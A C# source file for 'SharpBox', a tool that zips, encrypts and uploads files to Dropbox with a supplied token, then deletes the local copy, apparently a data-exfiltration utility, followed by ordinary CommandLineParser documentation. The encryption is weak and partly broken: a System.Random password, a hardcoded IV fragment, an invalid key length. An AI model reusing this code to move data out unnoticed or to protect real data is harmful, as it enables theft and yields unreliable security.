37 | 38 | // removed all cab compression functionality. zip only 39 | 40 | ZipFile zip = new ZipFile(); 41 | try 42 | { 43 | Thread zipThread = new Thread(() => 44 | { 45 | FileAttributes attr = File.GetAttributes(ops.path); 46 | if ((attr & FileAttributes.Directory) == FileAttributes.Directory) 47 | { 48 | string[] files = Directory.GetFiles(ops.path); 49 | foreach (string fileName in files) 50 | { 51 | zip.AddFile(fileName, "archive"); 52 | zip.Save(ops.OutFile); 53 | } 54 | } else 55 | { 56 | zip.AddFile(ops.path, "archive"); 57 | zip.Save(ops.OutFile); 58 | } 59 | }); 60 | zipThread.Start(); 61 | zipThread.Join(); 62 | 63 | Console.WriteLine("[*] Attempting to encrypt zip file."); 64 | EncryptFile(ops, zip); 65 | } 66 | catch (Exception e) 67 | { 68 | Console.WriteLine(e.ToString()); 69 | } 70 | } 71 | private static string GeneratePass() 72 | { 73 | const string space = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; 74 | var builder = new StringBuilder(); 75 | var random = new Random(); 76 | for (var i = 0; i < 12; i++) 77 | { 78 | builder.Append(space[random.Next(space.Length)]); 79 | } 80 | return builder.ToString(); 81 | } 82 | 83 | private static void EncryptFile(Options ops, ZipFile zip) 84 | { 85 | try 86 | { 87 | string outFile; 88 | string password = GeneratePass(); 89 | Console.WriteLine($"[*] Generated Password: {password} \n[*] Use this Password for decryption process!"); 90 | string initVector = $"HR$2pI{password.Substring(0, 5)}pIj12"; 91 | byte[] key = Encoding.ASCII.GetBytes(password); 92 | byte[] IV = Encoding.ASCII.GetBytes(initVector); 93 | if (ops.OutFile.Contains(".zip")) 94 | { 95 | outFile = ops.OutFile.Replace(".zip", ""); 96 | } else 97 | { 98 | if (ops.OutFile.Contains(".cab")) 99 | { 100 | outFile = ops.OutFile.Replace(".cab", ""); 101 | } else 102 | { 103 | outFile = ops.OutFile; 104 | } 105 | } 106 | 107 | FileStream fsCrypt = new FileStream(outFile, FileMode.Create); 108 | RijndaelManaged RMCrypto = new RijndaelManaged(); 109 | CryptoStream cs = new CryptoStream(fsCrypt, RMCrypto.CreateEncryptor(key, IV), CryptoStreamMode.Write); 110 | FileStream fsIn = null; 111 | fsIn = new FileStream(ops.OutFile, FileMode.Open); 112 | int data; 113 | while ((data = fsIn.ReadByte()) != -1) 114 | cs.WriteByte((byte)data); 115 | 116 | cs.FlushFinalBlock(); 117 | fsIn.Flush(); 118 | fsIn.Close(); 119 | cs.Close(); 120 | fsCrypt.Close(); 121 | File.Delete(ops.OutFile); 122 | 123 | } 124 | catch (Exception e) 125 | { 126 | Console.WriteLine("Encryption failed!", "Error " + e); 127 | } 128 | if (ops.dbxToken == null) 129 | { 130 | 131 | } else 132 | { 133 | FileUploadToDropbox(ops); 134 | } 135 | } 136 | 137 | private static void DecryptFile(Options ops) 138 | { 139 | Console.WriteLine("[*] Attempting to decrypt file!"); 140 | string initVector = $"HR$2pI{ops.password.Substring(0, 5)}pIj12"; 141 | byte[] IV = Encoding.ASCII.GetBytes(initVector); 142 | byte[] key = Encoding.ASCII.GetBytes(ops.password); 143 | FileStream fsCrypt = new FileStream(ops.path, FileMode.Open); 144 | RijndaelManaged RMCrypto = new RijndaelManaged(); 145 | CryptoStream cs = new CryptoStream(fsCrypt, RMCrypto.CreateDecryptor(key, IV), CryptoStreamMode.Read); 146 | FileStream fsOut = new FileStream(ops.OutFile, FileMode.Create); 147 | 148 | int data; 149 | while ((data = cs.ReadByte()) != -1) 150 | fsOut.WriteByte((byte)data); 151 | 152 | fsOut.Flush(); 153 | fsOut.Close(); 154 | cs.Close(); 155 | fsCrypt.Close(); 156 | Console.WriteLine("[*] Decrypted data successfully!"); 157 | } 158 | 159 | public static void FileUploadToDropbox(Options ops) 160 | { 161 | try 162 | { 163 | string uri = @"https://content.dropboxapi.com/2/files/upload"; 164 | Uri uri1 = new Uri(uri); 165 | WebClient myWebClient = new WebClient(); 166 | myWebClient.Headers[HttpRequestHeader.ContentType] = "application/octet-stream"; 167 | myWebClient.Headers[HttpRequestHeader.Authorization] = "Bearer " + ops.dbxToken; 168 | myWebClient.Headers.Add($"Dropbox-API-Arg: {{\"path\":\"{ops.dbxPath}/data\",\"mode\": \"add\",\"autorename\": true,\"mute\": false,\"strict_conflict\": false}}"); 169 | var file = Path.Combine(ops.path, "data"); 170 | byte[] buffer; 171 | using (var fileStream = new FileStream(file, FileMode.Open, FileAccess.Read)) 172 | { 173 | int length = (int)fileStream.Length; 174 | buffer = new byte[length]; 175 | fileStream.Read(buffer, 0, length); 176 | } 177 | byte[] request = myWebClient.UploadData(uri1, "POST", buffer); 178 | var Result = System.Text.Encoding.Default.GetString(request); 179 | Console.WriteLine(Result); 180 | //delete compressed/encrypted file after uploading 181 | File.Delete(file); 182 | return; 183 | } 184 | catch (Exception e) 185 | { 186 | Console.WriteLine(e.ToString()); 187 | } 188 | } 189 | 190 | private static bool ValidateRemoteCertificate(object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors error) 191 | { 192 | if (error == System.Net.Security.SslPolicyErrors.None) 193 | { 194 | return true; 195 | } 196 | Console.WriteLine("X509Certificate [{0}] Policy Error: '{1}'", 197 | cert.Subject, 198 | error.ToString()); 199 | return false; 200 | } 201 | } 202 | 203 | public class Options 204 | { 205 | public enum Methods 206 | { 207 | Zip, 208 | Cab 209 | } 210 | 211 | [Option('f', "path", Required = true, HelpText = "path to the file or folder you wish to compress the contents of")] 212 | public string path { get; set; } 213 | 214 | [Option('o', "OutFile", Required = false, HelpText = "Name of the compressed file")] 215 | public string OutFile { get; set; } 216 | 217 | [Option('t', "dbxToken", Required = false, HelpText = "Dropbox Access Token")] 218 | public string dbxToken { get; set; } 219 | 220 | [Option('x', "dbxPath", Required = false, DefaultValue = "/test/data", HelpText = "path to dbx folder")] 221 | public string dbxPath { get; set; } 222 | 223 | [Option('d', "decrypt", Required = false, DefaultValue = false, HelpText = "Choose this to decrypt a zip file previously encrypted by this tool. Requires original password argument.")] 224 | public bool decrypt { get; set; } 225 | 226 | [Option('p', "decryption-password", Required = false, HelpText = "Password to decrypt a zipped file.")] 227 | public string password { get; set; } 228 | 229 | [HelpOption] 230 | public string GetUsage() 231 | { 232 | { 233 | var text = @"SharpBox 1.1.0 234 | Copyright c 2021 Pickles 235 | Usage: SharpBox 236 | 237 | -f, --path Required. Full path to the file or folder you wish to 238 | compress the contents of 239 | 240 | -o, --OutFile Name of the compressed file 241 | 242 | -t, --dbxToken Dropbox Access Token 243 | 244 | -x, --dbxPath (Default: /test/data) path to dbx folder 245 | 246 | -d, --decrypt (Default: False) Choose this to decrypt a zip file previously encrypted by this tool. 247 | Requires original password argument. 248 | 249 | -p, --decryption-password Password to decrypt a zipped file. 250 | 251 | --help Display this help screen." 252 | ; 253 | 254 | 255 | return text; 256 | } 257 | } 258 | } 259 | } 260 | -------------------------------------------------------------------------------- /packages/CommandLineParser.1.9.71/lib/net35/CommandLine.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CommandLine 5 | 6 | 7 | 8 | 9 | Provides base properties for creating an attribute, used to define rules for command line parsing. 10 | 11 | 12 | 13 | 14 | Initializes a new instance of the class. 15 | 16 | 17 | 18 | 19 | Initializes a new instance of the class. 20 | Validating and . 21 | 22 | Short name of the option. 23 | Long name of the option. 24 | 25 | 26 | 27 | Initializes a new instance of the class. Validating 28 | and . This constructor accepts a as short name. 29 | 30 | Short name of the option. 31 | Long name of the option. 32 | 33 | 34 | 35 | Gets a short name of this command line option. You can use only one character. 36 | 37 | 38 | 39 | 40 | Gets long name of this command line option. This name is usually a single english word. 41 | 42 | 43 | 44 | 45 | Gets or sets the option's mutually exclusive set. 46 | 47 | 48 | 49 | 50 | Gets or sets a value indicating whether a command line option is required. 51 | 52 | 53 | 54 | 55 | Gets or sets mapped property default value. 56 | 57 | 58 | 59 | 60 | Gets or sets mapped property meta value. 61 | 62 | 63 | 64 | 65 | Gets or sets a short description of this command line option. Usually a sentence summary. 66 | 67 | 68 | 69 | 70 | Models an option specification. 71 | 72 | 73 | 74 | 75 | Initializes a new instance of the class. 76 | The default long name will be inferred from target property. 77 | 78 | 79 | 80 | 81 | Initializes a new instance of the class. 82 | 83 | The short name of the option.. 84 | 85 | 86 | 87 | Initializes a new instance of the class. 88 | 89 | The long name of the option. 90 | 91 | 92 | 93 | Initializes a new instance of the class. 94 | 95 | The short name of the option. 96 | The long name of the option or null if not used. 97 | 98 | 99 | 100 | Helper factory method for testing purpose. 101 | 102 | An instance. 103 | 104 | 105 | 106 | Models an option that can accept multiple values as separated arguments. 107 | 108 | 109 | 110 | 111 | Initializes a new instance of the class. 112 | The default long name will be inferred from target property. 113 | 114 | 115 | 116 | 117 | Initializes a new instance of the class. 118 | 119 | The short name of the option. 120 | 121 | 122 | 123 | Initializes a new instance of the class. 124 | 125 | The long name of the option. 126 | 127 | 128 | 129 | Initializes a new instance of the class. 130 | 131 | The short name of the option. 132 | The long name of the option or null if not used. 133 | 134 | 135 | 136 | Indicates the instance method that must be invoked when it becomes necessary show your help screen. 137 | The method signature is an instance method with no parameters and 138 | return value. 139 | 140 | 141 | 142 | 143 | Initializes a new instance of the class. 144 | Although it is possible, it is strongly discouraged redefine the long name for this option 145 | not to disorient your users. It is also recommended not to define a short one. 146 | 147 | 148 | 149 | 150 | Initializes a new instance of the class 151 | with the specified short name. Use parameter less constructor instead. 152 | 153 | The short name of the option. 154 | 155 | It's highly not recommended change the way users invoke help. It may create confusion. 156 | 157 | 158 | 159 | 160 | Initializes a new instance of the class 161 | with the specified long name. Use parameter less constructor instead. 162 | 163 | The long name of the option or null if not used. 164 | 165 | It's highly not recommended change the way users invoke help. It may create confusion. 166 | 167 | 168 | 169 | 170 | Initializes a new instance of the class. 171 | Allows you to define short and long option names. 172 | 173 | The short name of the option. 174 | The long name of the option or null if not used. 175 | 176 | It's highly not recommended change the way users invoke help. It may create confusion. 177 | 178 | 179 | 180 | 181 | Returns always false for this kind of option. 182 | This behaviour can't be changed by design; if you try set 183 | an will be thrown. 184 | 185 | 186 | 187 | 188 | Models an option that can accept multiple values. 189 | Must be applied to a field compatible with an interface 190 | of instances. 191 | 192 | 193 | 194 | 195 | Initializes a new instance of the class. 196 | The default long name will be inferred from target property. 197 | 198 | 199 | 200 | 201 | Initializes a new instance of the class. 202 | 203 | The short name of the option. 204 | 205 | 206 | 207 | Initializes a new instance of the class. 208 | 209 | The long name of the option or null if not used. 210 | 211 | 212 | 213 | Initializes a new instance of the class. 214 | 215 | The short name of the option. 216 | The long name of the option or null if not used. 217 | 218 | 219 | 220 | Initializes a new instance of the class. 221 | 222 | The short name of the option or null if not used. 223 | The long name of the option or null if not used. 224 | Values separator character. 225 | 226 | 227 | 228 | Gets or sets the values separator character. 229 | 230 | 231 | 232 | 233 | Indicates that the property can receive an instance of type . 234 | 235 | 236 | 237 | 238 | Models a list of command line arguments that are not options. 239 | Must be applied to a field compatible with an interface 240 | of instances. 241 | 242 | To map individual values use instead . 243 | 244 | 245 | 246 | Initializes a new instance of the class. 247 | 248 | A type that implements . 249 | Thrown if is null. 250 | 251 | 252 | 253 | Gets or sets the maximum element allow for the list managed by type. 254 | If lesser than 0, no upper bound is fixed. 255 | If equal to 0, no elements are allowed. 256 | 257 | 258 | 259 | 260 | Gets the concrete type specified during initialization. 261 | 262 | 263 | 264 | 265 | Maps a single unnamed option to the target property. Values will be mapped in order of Index. 266 | This attribute takes precedence over with which 267 | can coexist. 268 | 269 | It can handle only scalar values. Do not apply to arrays or lists. 270 | 271 | 272 | 273 | Initializes a new instance of the class. 274 | 275 | The _index of the option. 276 | 277 | 278 | 279 | Gets the position this option has on the command line. 280 | 281 | 282 | 283 | 284 | Utility extension methods for System.Char. 285 | 286 | 287 | 288 | 289 | Encapsulates property writing primitives. 290 | 291 | 292 | 293 | 294 | Utility extension methods for System.String. 295 | 296 | 297 | 298 | 299 | Gets or sets the assembly from which to pull information. Setter provided for testing purpose. 300 | 301 | 302 | 303 | 304 | Utility extension methods for query target capabilities. 305 | 306 | 307 | 308 | 309 | Maps unnamed options to property using and . 310 | 311 | 312 | 313 | 314 | Helper method for testing purpose. 315 | 316 | An argument enumerator instance. 317 | The next input value. 318 | 319 | 320 | 321 | Initializes a new instance of the class. Used for unit testing purpose. 322 | 323 | Option short name. 324 | Option long name. 325 | 326 | 327 | 328 | Initializes a new instance of the class. 329 | It is internal rather than private for unit testing purpose. 330 | 331 | Initial internal capacity. 332 | Parser settings instance. 333 | 334 | 335 | 336 | Provides means to format an help screen. 337 | You can assign it in place of a instance. 338 | 339 | 340 | 341 | 342 | Initializes a new instance of the class. 343 | 344 | 345 | 346 | 347 | Initializes a new instance of the class 348 | specifying the sentence builder. 349 | 350 | 351 | A instance. 352 | 353 | 354 | 355 | 356 | Initializes a new instance of the class 357 | specifying heading string. 358 | 359 | An heading string or an instance of . 360 | Thrown when parameter is null or empty string. 361 | 362 | 363 | 364 | Initializes a new instance of the class 365 | specifying the sentence builder and heading string. 366 | 367 | A instance. 368 | A string with heading or an instance of . 369 | 370 | 371 | 372 | Initializes a new instance of the class 373 | specifying heading and copyright strings. 374 | 375 | A string with heading or an instance of . 376 | A string with copyright or an instance of . 377 | Thrown when one or more parameters are null or empty strings. 378 | 379 | 380 | 381 | Initializes a new instance of the class 382 | specifying heading and copyright strings. 383 | 384 | A instance. 385 | A string with heading or an instance of . 386 | A string with copyright or an instance of . 387 | Thrown when one or more parameters are null or empty strings. 388 | 389 | 390 | 391 | Initializes a new instance of the class 392 | specifying heading and copyright strings. 393 | 394 | A string with heading or an instance of . 395 | A string with copyright or an instance of . 396 | The instance that collected command line arguments parsed with class. 397 | Thrown when one or more parameters are null or empty strings. 398 | 399 | 400 | 401 | Initializes a new instance of the class 402 | specifying heading and copyright strings. 403 | 404 | A instance. 405 | A string with heading or an instance of . 406 | A string with copyright or an instance of . 407 | The instance that collected command line arguments parsed with class. 408 | Thrown when one or more parameters are null or empty strings. 409 | 410 | 411 | 412 | Creates a new instance of the class using common defaults. 413 | 414 | 415 | An instance of class. 416 | 417 | The instance that collected command line arguments parsed with class. 418 | 419 | 420 | 421 | Creates a new instance of the class using common defaults. 422 | 423 | 424 | An instance of class. 425 | 426 | The instance that collected command line arguments parsed with class. 427 | A delegate used to customize the text block for reporting parsing errors. 428 | If true the output style is consistent with verb commands (no dashes), otherwise it outputs options. 429 | 430 | 431 | 432 | Creates a new instance of the class using common defaults, 433 | for verb commands scenario. 434 | 435 | 436 | An instance of class. 437 | 438 | The instance that collected command line arguments parsed with class. 439 | The verb command invoked. 440 | 441 | 442 | 443 | Supplies a default parsing error handler implementation. 444 | 445 | The instance that collects parsed arguments parsed and associates 446 | to a property of type . 447 | The instance. 448 | 449 | 450 | 451 | Converts the help instance to a . 452 | 453 | This instance. 454 | The that contains the help screen. 455 | 456 | 457 | 458 | Adds a text line after copyright and before options usage strings. 459 | 460 | A instance. 461 | Thrown when parameter is null or empty string. 462 | 463 | 464 | 465 | Adds a text line at the bottom, after options usage string. 466 | 467 | A instance. 468 | Thrown when parameter is null or empty string. 469 | 470 | 471 | 472 | Adds a text block with options usage string. 473 | 474 | The instance that collected command line arguments parsed with class. 475 | Thrown when parameter is null. 476 | 477 | 478 | 479 | Adds a text block with options usage string. 480 | 481 | The instance that collected command line arguments parsed with the class. 482 | The word to use when the option is required. 483 | Thrown when parameter is null. 484 | Thrown when parameter is null or empty string. 485 | 486 | 487 | 488 | Adds a text block with options usage string. 489 | 490 | The instance that collected command line arguments parsed with the class. 491 | The word to use when the option is required. 492 | The maximum length of the help documentation. 493 | Thrown when parameter is null. 494 | Thrown when parameter is null or empty string. 495 | 496 | 497 | 498 | Builds a string that contains a parsing error message. 499 | 500 | An options target instance that collects parsed arguments parsed with the 501 | associated to a property of type . 502 | Number of spaces used to indent text. 503 | The that contains the parsing error message. 504 | 505 | 506 | 507 | Returns the help screen as a . 508 | 509 | The that contains the help screen. 510 | 511 | 512 | 513 | The OnFormatOptionHelpText method also allows derived classes to handle the event without attaching a delegate. 514 | This is the preferred technique for handling the event in a derived class. 515 | 516 | Data for the event. 517 | 518 | 519 | 520 | Occurs when an option help text is formatted. 521 | 522 | 523 | 524 | 525 | Gets or sets the heading string. 526 | You can directly assign a instance. 527 | 528 | 529 | 530 | 531 | Gets or sets the copyright string. 532 | You can directly assign a instance. 533 | 534 | 535 | 536 | 537 | Gets or sets the maximum width of the display. This determines word wrap when displaying the text. 538 | 539 | The maximum width of the display. 540 | 541 | 542 | 543 | Gets or sets a value indicating whether the format of options should contain dashes. 544 | It modifies behavior of method. 545 | 546 | 547 | 548 | 549 | Gets or sets a value indicating whether to add an additional line after the description of the option. 550 | 551 | 552 | 553 | 554 | Gets the instance specified in constructor. 555 | 556 | 557 | 558 | 559 | Models an abstract sentence builder. 560 | 561 | 562 | 563 | 564 | Creates the built in sentence builder. 565 | 566 | The built in sentence builder. 567 | 568 | 569 | 570 | Gets a string containing word 'option'. 571 | 572 | The word 'option'. 573 | 574 | 575 | 576 | Gets a string containing the word 'and'. 577 | 578 | The word 'and'. 579 | 580 | 581 | 582 | Gets a string containing the sentence 'required option missing'. 583 | 584 | The sentence 'required option missing'. 585 | 586 | 587 | 588 | Gets a string containing the sentence 'violates format'. 589 | 590 | The sentence 'violates format'. 591 | 592 | 593 | 594 | Gets a string containing the sentence 'violates mutual exclusiveness'. 595 | 596 | The sentence 'violates mutual exclusiveness'. 597 | 598 | 599 | 600 | Gets a string containing the error heading text. 601 | 602 | The error heading text. 603 | 604 | 605 | 606 | Models an english sentence builder, currently the default one. 607 | 608 | 609 | 610 | 611 | Gets a string containing word 'option' in english. 612 | 613 | The word 'option' in english. 614 | 615 | 616 | 617 | Gets a string containing the word 'and' in english. 618 | 619 | The word 'and' in english. 620 | 621 | 622 | 623 | Gets a string containing the sentence 'required option missing' in english. 624 | 625 | The sentence 'required option missing' in english. 626 | 627 | 628 | 629 | Gets a string containing the sentence 'violates format' in english. 630 | 631 | The sentence 'violates format' in english. 632 | 633 | 634 | 635 | Gets a string containing the sentence 'violates mutual exclusiveness' in english. 636 | 637 | The sentence 'violates mutual exclusiveness' in english. 638 | 639 | 640 | 641 | Gets a string containing the error heading text in english. 642 | 643 | The error heading text in english. 644 | 645 | 646 | 647 | Models the copyright part of an help text. 648 | You can assign it where you assign any instance. 649 | 650 | 651 | 652 | 653 | Initializes a new instance of the class 654 | specifying author and year. 655 | 656 | The company or person holding the copyright. 657 | The year of coverage of copyright. 658 | Thrown when parameter is null or empty string. 659 | 660 | 661 | 662 | Initializes a new instance of the class 663 | specifying author and copyrightYears. 664 | 665 | The company or person holding the copyright. 666 | The copyrightYears of coverage of copyright. 667 | Thrown when parameter is null or empty string. 668 | Thrown when parameter is not supplied. 669 | 670 | 671 | 672 | Initializes a new instance of the class 673 | specifying symbol case, author and copyrightYears. 674 | 675 | The case of the copyright symbol. 676 | The company or person holding the copyright. 677 | The copyrightYears of coverage of copyright. 678 | Thrown when parameter is null or empty string. 679 | Thrown when parameter is not supplied. 680 | 681 | 682 | 683 | Initializes a new instance of the class. 684 | 685 | 686 | 687 | 688 | Initializes a new instance of the class 689 | with an assembly attribute, this overrides all formatting. 690 | 691 | The attribute which text to use. 692 | 693 | 694 | 695 | Converts the copyright instance to a . 696 | 697 | This instance. 698 | The that contains the copyright. 699 | 700 | 701 | 702 | Returns the copyright as a . 703 | 704 | The that contains the copyright. 705 | 706 | 707 | 708 | When overridden in a derived class, allows to specify a new algorithm to render copyright copyrightYears 709 | as a instance. 710 | 711 | A array of copyrightYears. 712 | A instance with copyright copyrightYears. 713 | 714 | 715 | 716 | Gets the default copyright information. 717 | Retrieved from , if it exists, 718 | otherwise it uses as copyright holder with the current year. 719 | If neither exists it throws an . 720 | 721 | 722 | 723 | 724 | Gets a different copyright word when overridden in a derived class. 725 | 726 | 727 | 728 | 729 | Models the heading part of an help text. 730 | You can assign it where you assign any instance. 731 | 732 | 733 | 734 | 735 | Initializes a new instance of the class 736 | specifying program name. 737 | 738 | The name of the program. 739 | Thrown when parameter is null or empty string. 740 | 741 | 742 | 743 | Initializes a new instance of the class 744 | specifying program name and version. 745 | 746 | The name of the program. 747 | The version of the program. 748 | Thrown when parameter is null or empty string. 749 | 750 | 751 | 752 | Converts the heading to a . 753 | 754 | This instance. 755 | The that contains the heading. 756 | 757 | 758 | 759 | Returns the heading as a . 760 | 761 | The that contains the heading. 762 | 763 | 764 | 765 | Writes out a string and a new line using the program name specified in the constructor 766 | and parameter. 767 | 768 | The message to write. 769 | The target derived type. 770 | Thrown when parameter is null or empty string. 771 | Thrown when parameter is null. 772 | 773 | 774 | 775 | Writes out a string and a new line using the program name specified in the constructor 776 | and parameter to standard output stream. 777 | 778 | The message to write. 779 | Thrown when parameter is null or empty string. 780 | 781 | 782 | 783 | Writes out a string and a new line using the program name specified in the constructor 784 | and parameter to standard error stream. 785 | 786 | The message to write. 787 | Thrown when parameter is null or empty string. 788 | 789 | 790 | 791 | Gets the default heading instance. 792 | The title is retrieved from , 793 | or the assembly short name if its not defined. 794 | The version is retrieved from , 795 | or the assembly version if its not defined. 796 | 797 | 798 | 799 | 800 | Provides base properties for creating an attribute, used to define multiple lines of text. 801 | 802 | 803 | 804 | 805 | Initializes a new instance of the class. Used in derived type 806 | using one line of text. 807 | 808 | The first line of text. 809 | 810 | 811 | 812 | Initializes a new instance of the class. Used in type 813 | using two lines of text. 814 | 815 | The first line of text. 816 | The second line of text. 817 | 818 | 819 | 820 | Initializes a new instance of the class. Used in type 821 | using three lines of text. 822 | 823 | The first line of text. 824 | The second line of text. 825 | The third line of text. 826 | 827 | 828 | 829 | Initializes a new instance of the class. Used in type 830 | using four lines of text. 831 | 832 | The first line of text. 833 | The second line of text. 834 | The third line of text. 835 | The fourth line of text. 836 | 837 | 838 | 839 | Initializes a new instance of the class. Used in type 840 | using five lines of text. 841 | 842 | The first line of text. 843 | The second line of text. 844 | The third line of text. 845 | The fourth line of text. 846 | The fifth line of text. 847 | 848 | 849 | 850 | Returns the last line with text. Preserves blank lines if user intended by skipping a line. 851 | 852 | The last index of line of the non-blank line. 853 | 854 | The string array to process. 855 | 856 | 857 | 858 | Gets the all non-blank lines as string. 859 | 860 | A string of all non-blank lines. 861 | 862 | 863 | 864 | Gets the first line of text. 865 | 866 | 867 | 868 | 869 | Gets the second line of text. 870 | 871 | 872 | 873 | 874 | Gets third line of text. 875 | 876 | 877 | 878 | 879 | Gets the fourth line of text. 880 | 881 | 882 | 883 | 884 | Gets the fifth line of text. 885 | 886 | 887 | 888 | 889 | Models a multiline assembly license text. 890 | 891 | 892 | 893 | 894 | Initializes a new instance of the class 895 | with one line of text. 896 | 897 | First line of license text. 898 | 899 | 900 | 901 | Initializes a new instance of the class 902 | with two lines of text. 903 | 904 | First line of license text. 905 | Second line of license text. 906 | 907 | 908 | 909 | Initializes a new instance of the class 910 | with three lines of text. 911 | 912 | First line of license text. 913 | Second line of license text. 914 | Third line of license text. 915 | 916 | 917 | 918 | Initializes a new instance of the class 919 | with four lines of text. 920 | 921 | First line of license text. 922 | Second line of license text. 923 | Third line of license text. 924 | Fourth line of license text. 925 | 926 | 927 | 928 | Initializes a new instance of the class 929 | with five lines of text. 930 | 931 | First line of license text. 932 | Second line of license text. 933 | Third line of license text. 934 | Fourth line of license text. 935 | Fifth line of license text. 936 | 937 | 938 | 939 | Models a multiline assembly usage text. 940 | 941 | 942 | 943 | 944 | Initializes a new instance of the class 945 | with one line of text. 946 | 947 | First line of usage text. 948 | 949 | 950 | 951 | Initializes a new instance of the class 952 | with two lines of text. 953 | 954 | First line of usage text. 955 | Second line of usage text. 956 | 957 | 958 | 959 | Initializes a new instance of the class 960 | with three lines of text. 961 | 962 | First line of usage text. 963 | Second line of usage text. 964 | Third line of usage text. 965 | 966 | 967 | 968 | Initializes a new instance of the class 969 | with four lines of text. 970 | 971 | First line of usage text. 972 | Second line of usage text. 973 | Third line of usage text. 974 | Fourth line of usage text. 975 | 976 | 977 | 978 | Initializes a new instance of the class 979 | with five lines of text. 980 | 981 | First line of usage text. 982 | Second line of usage text. 983 | Third line of usage text. 984 | Fourth line of usage text. 985 | Fifth line of usage text. 986 | 987 | 988 | 989 | Provides data for the FormatOptionHelpText event. 990 | 991 | 992 | 993 | 994 | Initializes a new instance of the class. 995 | 996 | Option to format. 997 | 998 | 999 | 1000 | Gets the option to format. 1001 | 1002 | 1003 | 1004 | 1005 | Indicates the instance method that must be invoked when it becomes necessary show your help screen. 1006 | The method signature is an instance method with that accepts and returns a . 1007 | 1008 | 1009 | 1010 | 1011 | Initializes a new instance of the class. 1012 | Although it is possible, it is strongly discouraged redefine the long name for this option 1013 | not to disorient your users. 1014 | 1015 | 1016 | 1017 | 1018 | Initializes a new instance of the class 1019 | with the specified long name. Use parameter less constructor instead. 1020 | 1021 | Help verb option alternative name. 1022 | 1023 | It's highly not recommended change the way users invoke help. It may create confusion. 1024 | 1025 | 1026 | 1027 | 1028 | Help verb command do not support short name by design. 1029 | 1030 | 1031 | 1032 | 1033 | Help verb command like ordinary help option cannot be mandatory by design. 1034 | 1035 | 1036 | 1037 | 1038 | Models a verb command specification. 1039 | 1040 | 1041 | 1042 | 1043 | Initializes a new instance of the class. 1044 | 1045 | The long name of the verb command. 1046 | 1047 | 1048 | 1049 | Verb commands do not support short name by design. 1050 | 1051 | 1052 | 1053 | 1054 | Verb commands cannot be mandatory since are mutually exclusive by design. 1055 | 1056 | 1057 | 1058 | 1059 | Models a bad parsed option. 1060 | 1061 | 1062 | 1063 | 1064 | Gets the short name of the option. 1065 | 1066 | Returns the short name of the option. 1067 | 1068 | 1069 | 1070 | Gets the long name of the option. 1071 | 1072 | Returns the long name of the option. 1073 | 1074 | 1075 | 1076 | Provides methods to parse command line arguments. 1077 | 1078 | 1079 | 1080 | 1081 | Default exit code (1) used by 1082 | and overloads. 1083 | 1084 | 1085 | 1086 | 1087 | Initializes a new instance of the class. 1088 | 1089 | 1090 | 1091 | 1092 | Initializes a new instance of the class, 1093 | configurable with a object. 1094 | 1095 | The object is used to configure 1096 | aspects and behaviors of the parser. 1097 | 1098 | 1099 | 1100 | Initializes a new instance of the class, 1101 | configurable with using a delegate. 1102 | 1103 | The delegate used to configure 1104 | aspects and behaviors of the parser. 1105 | 1106 | 1107 | 1108 | Finalizes an instance of the class. 1109 | 1110 | 1111 | 1112 | 1113 | Parses a array of command line arguments, setting values in 1114 | parameter instance's public fields decorated with appropriate attributes. 1115 | 1116 | A array of command line arguments. 1117 | An instance used to receive values. 1118 | Parsing rules are defined using derived types. 1119 | True if parsing process succeed. 1120 | Thrown if is null. 1121 | Thrown if is null. 1122 | 1123 | 1124 | 1125 | Parses a array of command line arguments with verb commands, setting values in 1126 | parameter instance's public fields decorated with appropriate attributes. 1127 | This overload supports verb commands. 1128 | 1129 | A array of command line arguments. 1130 | An instance used to receive values. 1131 | Parsing rules are defined using derived types. 1132 | Delegate executed to capture verb command name and instance. 1133 | True if parsing process succeed. 1134 | Thrown if is null. 1135 | Thrown if is null. 1136 | Thrown if is null. 1137 | 1138 | 1139 | 1140 | Parses a array of command line arguments, setting values in 1141 | parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes 1142 | the delegate, if null exits with . 1143 | 1144 | A array of command line arguments. 1145 | An object's instance used to receive values. 1146 | Parsing rules are defined using derived types. 1147 | The delegate executed when parsing fails. 1148 | True if parsing process succeed. 1149 | Thrown if is null. 1150 | Thrown if is null. 1151 | 1152 | 1153 | 1154 | Parses a array of command line arguments with verb commands, setting values in 1155 | parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes 1156 | the delegate, if null exits with . 1157 | This overload supports verb commands. 1158 | 1159 | A array of command line arguments. 1160 | An instance used to receive values. 1161 | Parsing rules are defined using derived types. 1162 | Delegate executed to capture verb command name and instance. 1163 | The delegate executed when parsing fails. 1164 | True if parsing process succeed. 1165 | Thrown if is null. 1166 | Thrown if is null. 1167 | Thrown if is null. 1168 | 1169 | 1170 | 1171 | Frees resources owned by the instance. 1172 | 1173 | 1174 | 1175 | 1176 | Gets the singleton instance created with basic defaults. 1177 | 1178 | 1179 | 1180 | 1181 | Gets the instance that implements in use. 1182 | 1183 | 1184 | 1185 | 1186 | This exception is thrown when a generic parsing error occurs. 1187 | 1188 | 1189 | 1190 | 1191 | Initializes a new instance of the class. The exception is thrown 1192 | when something unexpected occurs during the parsing process. 1193 | 1194 | 1195 | 1196 | 1197 | Initializes a new instance of the class. The exception is thrown 1198 | when something unexpected occurs during the parsing process. 1199 | 1200 | Error message string. 1201 | 1202 | 1203 | 1204 | Initializes a new instance of the class. The exception is thrown 1205 | when something unexpected occurs during the parsing process. 1206 | 1207 | Error message string. 1208 | Inner exception reference. 1209 | 1210 | 1211 | 1212 | Initializes a new instance of the class. The exception is thrown 1213 | when something unexpected occurs during the parsing process. 1214 | 1215 | The object that holds the serialized object data. 1216 | The contextual information about the source or destination. 1217 | 1218 | 1219 | 1220 | Provides settings for . Once consumed cannot be reused. 1221 | 1222 | 1223 | 1224 | 1225 | Initializes a new instance of the class. 1226 | 1227 | 1228 | 1229 | 1230 | Initializes a new instance of the class, 1231 | setting the case comparison behavior. 1232 | 1233 | If set to true, parsing will be case sensitive. 1234 | 1235 | 1236 | 1237 | Initializes a new instance of the class, 1238 | setting the used for help method output. 1239 | 1240 | Any instance derived from , 1241 | default . Setting this argument to null, will disable help screen. 1242 | 1243 | 1244 | 1245 | Initializes a new instance of the class, 1246 | setting case comparison and help output options. 1247 | 1248 | If set to true, parsing will be case sensitive. 1249 | Any instance derived from , 1250 | default . Setting this argument to null, will disable help screen. 1251 | 1252 | 1253 | 1254 